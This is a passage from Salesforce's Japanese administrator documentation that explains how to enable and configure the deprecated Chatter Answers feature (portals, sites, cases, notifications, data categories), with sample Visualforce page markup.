されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

メモ: 次の手順は、Chatter アンサーを設定するための一般的なガイドライン
です。Chatter アンサーでは、システム管理者によって実装済みの可能性の
ある機能を含む複数のSalesforceの機能が統合されるため、それぞれのChatter

アンサー実装が異なる場合があります。お客様の実装に固有な事項につい
ては、Salesforce にお問い合わせください。

システム管理者が Chatter アンサーを設定するには、組織にデータカテゴリが実
装されている必要があります。Salesforce ナレッジ記事をゾーンで表示する場合
は、システム管理者が Salesforce ナレッジを実装する必要があります。
1. Chatter アンサーを有効化します。
2. メール通知設定を設定します。
3. カスタマーポータルを実装します (組織にまだ存在しない場合)。
4. 組織の Chatter アンサー用のカスタマーポータルを設定します。
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5. セルフ登録のために大規模ポータルユーザを設定します。
6. Force.com サイトを実装します (サイトが組織に存在せず、サイトを使用する必要がある場合)。
7. 組織の Chatter アンサー用の Force.com Site を設定します。
8. Chatter アンサー用のケースを設定します。
9. [質問] タブ表示を設定します。
10. 必要に応じて、次の操作が可能です。

• Chatter アンサーにデータカテゴリを割り当てます。
• Chatter アンサー用の Salesforce ナレッジを設定します。
• カスタマーポータルまたはパートナーポータルに Chatter アンサーを追加します。

11. 1 つ以上のゾーンを設定します。
12. 設定の問題をトラブルシューティングします。

重要: Chatter アンサーを設定後、これらの機能の設定のいずれかを変更すると、正しく動作しない場合が
あります。特定の設定に関する問題が検出されると、Salesforce から、[サイトの管理者] ユーザにメール
通知が送信されます。

ヒント:

• APIを統合する目的でのみ質問または返信にカスタム項目を追加できます。たとえば、質問にカスタム
テキスト項目を追加して、APIを使用してそのテキスト項目に質問を投稿した国の名前を入力します。
質問または返信用にユーザが作成したカスタム項目はいずれも Salesforce ユーザインターフェースでは
表示できません。

• Chatter アンサーの質問および返信の項目、ページレイアウト、ボタンとリンク、Apex トリガ、入力規
則をカスタマイズするには、[設定] から、[クイック検索] ボックスに「Chatter アンサー」と入力し、
[Chatter アンサー] を選択して、適切な設定を選択します。

• ゾーンのユーザインターフェースではカスタマーサポートの名前を変更できます。たとえば、「カス
タマーサポート」を「Acme サポート」に変更できます。Question オブジェクトの「カスタマーサポー
ト」というラベルを変更するだけで済みます。

• ポータルの [Chatter アンサー] タブの名前を変更することもできます。

関連トピック:

Chatter アンサー実装の概要
Chatter Answers Implementation Guide (Chatter アンサー実装ガイド)
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Chatter アンサーの有効化

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Chatter アンサーを有効に
する
• 「アプリケーションの

カスタマイズ」

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

Chatter アンサーゾーンを設定するには、Chatter アンサーを有効にします。
1. [設定] から、[クイック検索]ボックスにChatter「アンサー設定」と入力し、

[Chatter アンサーの設定] を選択します。
2. [編集] をクリックします。
3. [Chatter アンサーを有効化] を選択します。
4. 必要に応じて、次を選択します。

説明オプション

カスタマーポータルまたはパートナー
ポータルに Chatter アンサーをタブと

Chatter アンサーをポータルに表示

して追加できます。このオプション
を選択すると、各ポータルに [Chatter

アンサー] タブを追加し、ポータル
ユーザに Chatter アンサーユーザライ
センスを割り当てる必要があります。
ポータルに Chatter アンサーのみを表
示する場合は、Chatter アンサーをホ
ストする Force.com サイトを設定する
必要はありません。ただし、このサ
イトでは、ゲストユーザはログイン
せずに一部の Chatter アンサーデータ
にアクセスできますが、ポータルで
はアクセスできません。

Chatter アンサーゾーンのいずれかに
質問を投稿する前に、記事または質

質問フローを最適化

問で検索結果をフィルタできます。
また、[タイトル] および [内容] 項
目を質問に追加して、テキスト入力
やスキャンを容易にすることができ
ます。Chatter アンサーを有効にする
と、この設定は自動的にオンになり
ます。
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説明オプション

ゾーンメンバーは質問および返信を投稿するとき
に、リッチテキストエディタを使用してテキストを

リッチテキストエディタを有効化

書式設定し、画像をアップロードできます。Chatter

アンサーを有効にすると、この設定は自動的にオン
になります。

メモ: このオプションを選択するには、[質問
フローを最適化] を有効にする必要がありま
す。

ポップアップウィンドウを使用する代わりに、検索/

質問パブリッシャーをインラインに埋め込みます。
検索/質問パブリッシャーをインラインで表示する

メモ: このオプションを選択するには、[質問
フローを最適化] を有効にする必要がありま
す。

ポイントや評価を獲得できます。これらは、プロ
ファイルの写真にマウスを置くと表示されます。評

評価を有効化

価は、すべてのゾーンで有効になります。Chatter ア
ンサーを有効にすると、この設定は自動的にオンに
なります。

メール通知に返信して回答を投稿することをユーザ
に許可します。

メールによる回答の投稿を許可する

Facebook ログインで Chatter アンサーゾーンにサイン
インできます。この設定を選択すると、ゾーンの

Facebook のシングルサインオンを有効化

[サインイン] の横に [Facebook でサインイン] オ
プションが表示されます。ユーザが Facebook ログイ
ンを使用してChatter アンサーにサインインすると、
ゾーンへの投稿において、Facebook アカウントに関
連付けられている姓、名、写真が使用されます。
この機能を有効化する場合、組織のセキュリティの
コントロールで Facebook 認証プロバイダを定義して
有効化する必要があります。

[Facebook のシングルサインオンを有効化] を選択
した後、既存の Facebook 認証プロバイダを選択でき

Facebook 認証プロバイダ

ます。Chatter アンサーゾーンでの Facebook シングル
サインオンを実装するには、Facebook 認証プロバイ
ダを選択する必要があります。Chatter アンサーゾー
ンを、Facebook 認証プロバイダが異なるChatter コミュ
ニティに関連付けている場合、この設定は無視され
ます。
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説明オプション

公開 Chatter コミュニティサイトの Chatter アンサー
ユーザプロファイルにカスタム Visualforce ページを選

カスタムプロファイルページ

択できます。ユーザプロファイルページを使用する
には、ゾーン用の [認証なしで表示]を設定する必要
があります。選択したカスタム Visualforce ページに次
の属性が渡されます。
• communityId。この属性は、現在選択している

フィード項目 (質問や返信など) がどのゾーンに
属しているのかを示します。

• userId。この属性は、現在選択しているフィー
ド項目 (質問や返信など) の所有者を示します。

• showHeader。この属性は、ページにSalesforceタ
ブのヘッダーを含めるかどうかを指定する boolean

値です。この属性が true に設定されている場合、
Salesforce タブのヘッダーが表示されます。

5. [保存] をクリックします。
Chatter アンサーを有効化したら、ゾーンの設定に使用できる複数の項目が組織に自動的に追加されます。
• 内部ユーザおよびシステム管理者が Chatter アンサーを表示および使用できる [Q&A] タブ。システム管理者

はこのタブの名前を変更できます。
• ユーザプロファイルに関する質問の標準的な権限設定。質問および返信に対する権限をユーザに付与でき

るようにします。
• Force.comサイト、コミュニティ内のタブ、またはカスタマーポータルに追加できるVisualforceページ。ユー

ザが、ゾーンのフィード項目を登録、サインイン、参照できるようにします。
• ChatterAnswersRegistrationという名前のApexクラス。ポータルユーザが、取引先の作成をカスタマ

イズするメソッドが含まれています。
• chatter_answers_question_escalation_to_case_triggerという名前の質問用Apexトリガ。指定の

属性を持つ質問がケースに自動的にエスカレーションされるようにします。
• chatter_answers_num_subscriptions_above_ という名前のワークフロー項目自動更新。質問がケー

スにエスカレーションされたときに質問の [優先度] が更新されるようにします。
• 2 つのワークフロールール (chatter_answers_no_best_reply_within_time_limit_wf および

chatter_answers_num_subscriptions_above_limit_wf)。最良の回答のない質問または指定された
数のフォロワーが登録されている質問、質問が自動的にケースにエスカレーションされるようにカスタマ
イズおよび有効化できます。

関連トピック:

Chatter アンサー実装の概要
Chatter アンサーの設定

2956

Web チャネルおよびソーシャルチャネルの作成カスタマーサポートツールの設定および管理



Chatter アンサー用の Visualforce ページ

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

Chatter アンサーを有効にすると、次の Visualforce ページが組織に自動的に追加さ
れます。これらのページを使用して、Chatter アンサーを設定および構成するこ
とができます。

説明Visualforce ページ

質問がケースに変換されたときに、ケースの詳細ペー
ジの質問を表示する Visualforce コンポーネント。この

ChatterAnswersAgentView

コンポーネントは省略可能であり、ケースの詳細ペー
ジの代わりに表示されるページを提供します。

ゾーンのパスワードを変更できるページ。ChatterAnswersChangePassword

ゾーンのパスワードを忘れた場合のページ。ChatterAnswersForgotPassword

ゾーンのパスワード忘れの確認ページ。ChatterAnswersForgotPasswordConfirm

[支援が必要ですか?] をクリックすると表示されるオ
ンラインヘルプページ。

ChatterAnswersHelp

ゾーンのログインページ。ChatterAnswersLogin

ゾーンにアクセスするためにユーザがセルフ登録でき
るページ。

ChatterAnswersRegistration

ゾーンの質問、返信、Salesforce ナレッジ記事フィード
を含むページ。このページでも、ユーザにメール通知
を送信するコミュニティを決定できます。
このページは、[コミュニティのフィードをホストする
Visualforce ページ] を選択しないで新しいゾーン

ゾーンを作成すると、組織に コミュニティ名_main

ページが追加されます。
(ホームページ)

を保存した場合に自動的に生成されます。トピック、
質問、返信を特定のゾーンに関連付け、ページに表示
できるように、生成されたページにはゾーンの ID が
含まれます。ページ名には、ゾーンに続けて「_main」
という接尾辞が付けられます (例: ZoneName_main)。

2957

Web チャネルおよびソーシャルチャネルの作成カスタマーサポートツールの設定および管理

https://help.salesforce.com/apex/HTViewSolution?urlname=Chatter-Answers-to-Retire-in-Winter-18


説明Visualforce ページ

また、ページには組織のデフォルト言語に一致する言
語属性も含まれます。

関連トピック:

Chatter アンサーの有効化
Chatter アンサーの設定
Visualforce

Visualforce ページを使用した Chatter アンサーのカスタマイズ

Visualforce ページを使用した Chatter アンサーのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ用にカスタマイズされた Chatter アンサーゾーンを表示する Visualforceペー
ジを作成できます。

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

Visualforce ページを使用すると、お知らせや広告など、カスタムウィジェットを
Chatter アンサーに追加して、ブランドを拡張し、ユーザの操作性を変えることができます。このページでは、
要素の配置も制御できます。顧客は、Force.com サイト、コミュニティ内のタブ、または Visualforce ページに追
加されたカスタマーポータルを使用して、カスタムChatter アンサーゾーンにアクセスできます。Visualforceペー
ジを使用するChatter アンサーゾーンに内部ユーザがアクセスすると、そのページに関連付けられたゾーンのみ
が表示されます。標準の [Q&A] タブを使用する場合とは異なり、ゾーンを切り替えることはできません。

メモ: Visualforceページでは Chatter アンサーの [Q&A] タブはカスタマイズできませんが、組織で Visualforceタ
ブを追加して、カスタム Visualforce ページで内部 Chatter アンサーを作成することはできます。

ゾーンを表示するには、作成する Visualforce ページに chatteranswers:allfeeds コンポーネントまたは
chatteranswers:aboutme, chatteranswers:guestsignin, chatteranswers:feedfilter,

chatteranswers:feeds, chatteranswers:searchask, chatteranswers:datacategoryfilter コン
ポーネントの組み合わせのいずれかを含める必要があります。

例: chatteranswers:allfeeds コンポーネントを使用したカスタム Visualforceページ
chatteranswers:allfeeds コンポーネントには、Chatter アンサーの革新的な Visualforce ページが備えられて
います。chatteranswers:allfeeds コンポーネントを使用するページには、次の Chatter アンサー要素が含
まれます。
• Chatter アンサーサインイン
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• Chatter アンサープロファイル
• データカテゴリの条件
• 検索/質問バー
• フィード条件
• 質問フィード
たとえば、chatteranswers:allfeeds コンポーネントを含む次の Visualforceページでは、すべてのChatter ア
ンサー要素が、ゾーンに対して他のカスタムウィジェットを含まない標準の配置になっています。
<apex:page>

<body>
<chatteranswers:allfeeds communityId="09aD00000000K7c"/>

</body>
</apex:page>

例: Chatter アンサーのすべてのページコンポーネントを使用したカスタム Visualforceページ
Chatter アンサーのページコンポーネントを使用すると、顧客に表示するChatter アンサーゾーンの要素を選択で
きます。1 つのコンポーネントのみを使用したり、すべてのコンポーネントを使用するようにページをカスタ
マイズしたりできます。次のコンポーネントを含めることができます。
• chatteranswers:aboutme

• chatteranswers:guestsignin

• chatteranswers:feedfilter

• chatteranswers:feeds

• chatteranswers:searchask

• chatteranswers:datacategoryfilter

chatteranswers:allfeeds コンポーネントの代わりに Chatter アンサーのページコンポーネントを使用する
と、要素をページで柔軟に配置できるようになります。たとえば、次の Visualforce ページには、標準の Chatter

アンサー要素がすべて含まれますが、作成されるページに表示される順序は、chatteranswers:allfeeds

コンポーネントを使用する場合とは異なります。次の例では、[検索/質問] コンポーネントとフィード条件が
フィードの上ではなく下に表示されます。
<apex:page language="en_US" showHeader="false" cache="true">
<body>
<div class="csMini">
<div class="threecolumn">
<div class="leftContent">
<chatteranswers:guestsignin />
<chatteranswers:aboutme communityId="09aD00000000cfE"/>
<chatteranswers:datacategoryfilter communityId="09aD00000000cfE"/>
</div>
<div class="mainContent">
<div class="lowerMainContent" id="lowerMainContent">
<div id="rightContent" class="rightContent"></div>
<div id="centerContent" class="centerContent">
<chatteranswers:feeds communityId="09aD00000000cfE"/>
<chatteranswers:searchask communityId="09aD00000000cfE"/>
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<chatteranswers:feedfilter />
</div>
</div>
</div>
<div class="clearingBox"></div>
</div>
</div>
</body>
</apex:page>

関連トピック:

Chatter アンサーを表示するためのカスタム Visualforce ページの追加
Chatter アンサー用の Visualforce ページ

Chatter アンサーユーザのメール通知の設定

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Chatter アンサーユーザの
メール通知を設定する
• 「アプリケーションの

カスタマイズ」

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

すべてのゾーンに適用される通知設定を設定することで、メールがユーザに送
信されるタイミングを決定します。各メールには、特定のゾーンへのリンクが
含まれているため、そのコミュニティに簡単に戻ることができます。
1. [設定] から、[クイック検索]ボックスに「ユーザ名・パスワード通知用メール

の設定」と入力し、[ユーザ名・パスワード通知用メールの設定] を選択しま
す。

2. [編集] をクリックします。
3. 次の設定から選択します。

説明オプション

他のユーザが質問に返信した場合に
顧客に通知します。

所有する質問に返信する

その他のユーザがフォローしている
質問に返信した場合に顧客に通知し
ます。

フォローする質問に返信する

フォローしている質問で最良の回答
が選択された場合に顧客に通知しま
す。

フォローする質問の最良の回答を選択
する

2960

Web チャネルおよびソーシャルチャネルの作成カスタマーサポートツールの設定および管理

https://help.salesforce.com/apex/HTViewSolution?urlname=Chatter-Answers-to-Retire-in-Winter-18


説明オプション

カスタマーサポートが質問に非公開で返答した場合
に顧客に通知します。

それらの質問に非公開返信を送信する (サポートデス
ク)

4. [保存] をクリックします。

関連トピック:

Chatter アンサー実装の概要
Chatter アンサーの設定

Chatter アンサー用のカスタマーポータルの設定

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

カスタマーポータルを設
定および更新する
• 「アプリケーションの

カスタマイズ」

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

メモ: カスタマーポータルを使用する予定がない場合でも、Chatter アンサー
ゾーンにサインインするユーザを認証できるように、Chatter アンサーにカ
スタマーポータルを設定する必要があります。

1. [設定] から、[クイック検索] ボックスに「カスタマーポータル設定」と入力
し、[カスタマーポータル設定] を選択します。

2. Chatter Answersに設定するカスタマーポータルの横にある [編集]をクリックし
ます。

3. [ログインを有効にする]をクリックして、顧客がChatter アンサーにサインイ
ンできるようにします。

4. [差出人メールアドレス] で、Chatter アンサーゾーンからのすべてのメール通信の送信元のアドレスを入力
します。たとえば、support@acme.com です。

5. [差出人メールアドレス名] に、[差出人メールアドレス] に関連付けられている名前を入力します。たとえ
ば、「Acme カスタマーサポート」などです。

6. [セルフ登録の有効化] をクリックして、顧客が Chatter アンサーにアクセスするためにセルフ登録できるよ
うにします。

7. [デフォルトの新規ユーザライセンス] で、セルフ登録する顧客に自動的に割り当てられるポータルユーザ
ライセンスを選択します。大規模カスタマーポータルライセンスを選択することをお勧めします。
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8. [デフォルトの新規ユーザプロファイル]で、セルフ登録する顧客に自動的に割り当てられるプロファイルを
選択します。セルフ登録のためにコピーおよびカスタマイズしたプロファイルを選択することお勧めしま
す。

9. [保存] をクリックします。
10. [デフォルトの新規ユーザプロファイル] として選択したプロファイルをカスタマーポータルに割り当て、

ユーザがゾーンにサインインできるようにします。
a. [設定] から、[クイック検索] ボックスに「カスタマーポータル設定」と入力し、[カスタマーポータル設

定] を選択します。
b. ポータル名を選択します。
c. [割り当てられたプロファイル] セクションで、[プロファイルの編集] をクリックします。
d. [デフォルトの新規ユーザプロファイル]として選択したプロファイルの横にある [有効]をクリックしま

す。
e. [保存] をクリックします。

関連トピック:

Chatter アンサー実装の概要
Chatter アンサーの設定
カスタマーポータルのログインと設定の有効化

Chatter アンサーへのセルフ登録のためのポータルユーザの設定

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

カスタマーポータルを設
定および更新する
• 「アプリケーションの

カスタマイズ」

カスタマーポータルユー
ザを管理する
• 「セルフサービスユー

ザの編集」

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

Chatter アンサーコミュニティにセルフ登録できるようにするためカスタマーポー
タルユーザを設定します。
1. 次の手順で、大規模カスタマーポータルのプロファイルをカスタマイズでき

るようにこのプロファイルをコピーします。
a. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロ

ファイル] を選択します。
b. 大規模カスタマーポータルの横にある [コピー] をクリックします。
c. 新規プロファイルの名前を入力します。
d. [保存] をクリックします。
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2. 次の手順で、自分のコミュニティの標準オブジェクトへの権限を含むようにコピーしたプロファイルをカ
スタマイズします。
a. [設定] から、[クイック検索] ボックスに「プロファイル」と入力し、[プロファイル] を選択します。
b. コピーしたプロファイル名をクリックします。
c. [編集] をクリックします。
d. [標準オブジェクト権限] で、これらのオブジェクトに対する次の権限をクリックします。

権限オブジェクト

作成、参照Cases

参照Contacts

作成、参照Questions

参照取引先

e. [保存] をクリックします。

関連トピック:

Chatter アンサーの設定
Chatter アンサー用のカスタマーポータルの設定
Chatter アンサーユーザの概要

Chatter アンサー用の Force.com サイトの設定

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Force.com サイトの作成と
編集を行う
• 「アプリケーションの

カスタマイズ」

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

メモ: セルフサービスコミュニティ用に Force.com サイトを設定することを
お勧めします。

ドメインをホストし、質問、返信、Salesforce ナレッジ記事などの Salesforce デー
タの一部を公開で表示する Chatter アンサー用の Force.com サイトを設定します。
1. [設定] から、[クイック検索] ボックスに「サイト」と入力し、[サイト] を選

択します。
2. Chatter Answers 用に設定するサイトの名前の横にある [編集] をクリックしま

す。
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3. [有効] をクリックして、サイトを有効化します。
Chatter アンサーの設定が完了したら、サイトを有効化できます。

4. [有効なサイトのホームページ] で、サイトのホームページとして Visualforce ページを選択します。
5. [保存] をクリックします。
6. [サイトの Visualforce ページ] 関連リストで [編集] をクリックします。

a. [追加] ボタンと [削除] ボタンを使用して、サイトの次の Visualforce ページを有効化します。
• ChatterAnswersAgentView

• ChatterAnswersChangePassword

• ChatterAnswersForgotPassword

• ChatterAnswersForgotPasswordConfirm

• ChatterAnswersHelp

• ChatterAnswersLogin

• ChatterAnswersRegistration

b. [保存] をクリックします。

7. [公開アクセス設定] をクリックして、ケース、質問、Salesforce ナレッジ記事へのアクセス権をカスタマー
ユーザ (カスタマーポータル以外の認証されていないユーザ) に付与します。
a. Chatter Answers ユーザのプロファイルで [編集] をクリックします。
b. [標準オブジェクト権限] で、ケースおよび質問の [参照] をクリックします。
c. 必要に応じて、Chatter アンサーで記事を表示する場合は、[記事タイプの権限] で記事タイプの [参照] を

クリックします。
d. [保存] をクリックします。

8. [カテゴリグループ表示設定] 関連リストのカテゴリグループの横にある [編集] をクリックして、ユーザに
カテゴリへのアクセス権を付与し、ユーザが質問、返信、Salesforce ナレッジ記事を参照できるようにしま
す。
a. [表示] の横にある [すべてのカテゴリ] をクリックします。
b. [保存] をクリックします。

9. サイトに戻ってその名前を選択するには、[設定] から、[クイック検索] ボックスに「サイト」と入力し、
[サイト] を選択します。

10. サイトでのユーザ認証を有効化するには、[ログイン設定] をクリックします。
a. [編集] をクリックします。
b. [ログイン有効化対象] で、Chatter アンサー用に作成したカスタマーポータルを選択します。
c. [保存] をクリックします。

Chatter アンサー用の Force.com サイトを設定したら、コミュニティを構成するデフォルトの Visualforce ページを
カスタマイズしたページに置き換えます。Visualforce ページは、ポータルユーザがこのページに移動できるよ
うに自動的にサイトの URL に設定されます。
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メモ: サイトのページ URL を短く覚えやすいものにするには、Chatter アンサーの URL の書き換えを使用し
ます。次のページでは、URL の書き換えを使用しています。
• ChatterAnswersHelp

• ChatterAnswersLogin

• ChatterAnswersRegistration

• ChatterAnswersForgotPassword

Chatter アンサーは、サイトのカスタム URL の書き換えとも互換性があります。
1. [設定] から、[クイック検索] ボックスに「サイトの設定」と入力し、[サイトの設定] を選択します。
2. サイトの横にある [編集] をクリックします。
3. 置き換えるページを選択します。[パスワードの変更ページ] を置き換えると、サイトの[パスワードの変更

ページ]も自動的に更新されます。
4. [保存] をクリックします。

メモ: https:// を含まない URL を使用してカスタマイズすると、Internet Explorer 8 ユーザにはセキュリティの
警告が表示されます。

関連トピック:

Chatter アンサー実装の概要
Chatter アンサーの設定
Chatter アンサー用の Visualforce ページ
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Chatter アンサー用のケースの設定

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

組織の共有設定を設定す
る
• 「共有の管理」

項目レベルセキュリティ
を設定する
• 「プロファイルと権限

セットの管理」

および

「アプリケーションの
カスタマイズ」

項目をカスタマイズする

割り当てルールを作成す
る

ケースへの大規模ポータ
ルユーザアクセスを許可
する
• 「アプリケーションの

カスタマイズ」

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

Chatter アンサーゾーンの適切なユーザがケースを作成、エスカレーション、ア
クセスできるように Chatter アンサーのケース機能を設定します。
1. ユーザが他のユーザの情報にアクセスできないように、組織の共有設定を、

[取引先に対して非公開]、[取引先責任者に対して親レコードに連動]、および
[ケースに対して非公開] に設定します。

2. ユーザが自分の非公開の質問にアクセスできるように、自分のカスタマー
ポータルに割り当てられたプロファイルついてケースに関する [質問] に対
する項目レベルのセキュリティを [参照可能] に設定します。

3. サポートエージェントがChatter アンサーで作成されたケースを確認できるよ
うに、質問トリガの値でケースの [発生源] を更新します。

4. 発生源がChatter アンサーの値と等しいケースの割り当てルールを作成して、
非公開の質問から作成されたケースをサポートエージェントに割り当てま
す。

5. 大規模ポータルユーザにケースへのアクセスを付与し、大規模ポータルユー
ザがChatter アンサーの自分の非公開の質問にアクセスできるようにします。

関連トピック:

Chatter アンサーの設定
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[Q&A] タブ表示の設定

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

[Q&A] タブ表示を設定する
• 「プロファイルと権限

セットの管理」

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

サポートエージェントがChatter アンサーゾーンに投稿された質問を表示、検索、
絞り込み、モデレートできるように、[Q&A] タブ表示を [デフォルトで表示]に設
定します。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. サポートエージェントのプロファイルを選択します。
3. 使用しているユーザインターフェースに応じて、次のいずれかの操作を実行

します。
• 拡張プロファイルユーザインターフェース — [設定の検索...]ボックスに、必要なタブの名前を入力し、

リストからそのオブジェクトを選択して、[編集] をクリックします。
• 元のプロファイルユーザインターフェース — [編集] をクリックし、[タブの設定] セクションまでスク

ロールします。

4. [Q&A] タブ表示を [デフォルトで表示] に指定します。
5. (元のプロファイルユーザインターフェースのみ) ユーザのタブのカスタマイズを自分が指定するタブ表示

設定にリセットするには、[各ユーザの「マイディスプレイのカスタマイズ」に変更を反映させる] を選択
します。

6. [保存] をクリックします。

関連トピック:

Chatter アンサーの設定
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Chatter アンサーへのデータカテゴリの割り当て

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Chatter アンサーにデータ
カテゴリを割り当てる
• 「アプリケーションの

カスタマイズ」

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

Chatter アンサーにデータカテゴリグループを割り当てて、すべての Chatter アン
サーゾーンで利用できるようにします。顧客およびサポートエージェントが質
問およびナレッジの記事を分類したり、絞り込んだりできる最上位データカテ
ゴリ (トピック) を使用して各ゾーンを設定します。
1. [設定] から、[クイック検索]ボックスに「データカテゴリの割り当て」と入力

し、Chatter アンサーで [データカテゴリの割り当て] を選択します。
2. [編集] をクリックします。
3. カテゴリグループを選択します。
4. [保存] をクリックします。

メモ:  Chatter アンサーの各ゾーンは、最上位カテゴリに関連付けることができます。ゾーンを顧客に表示
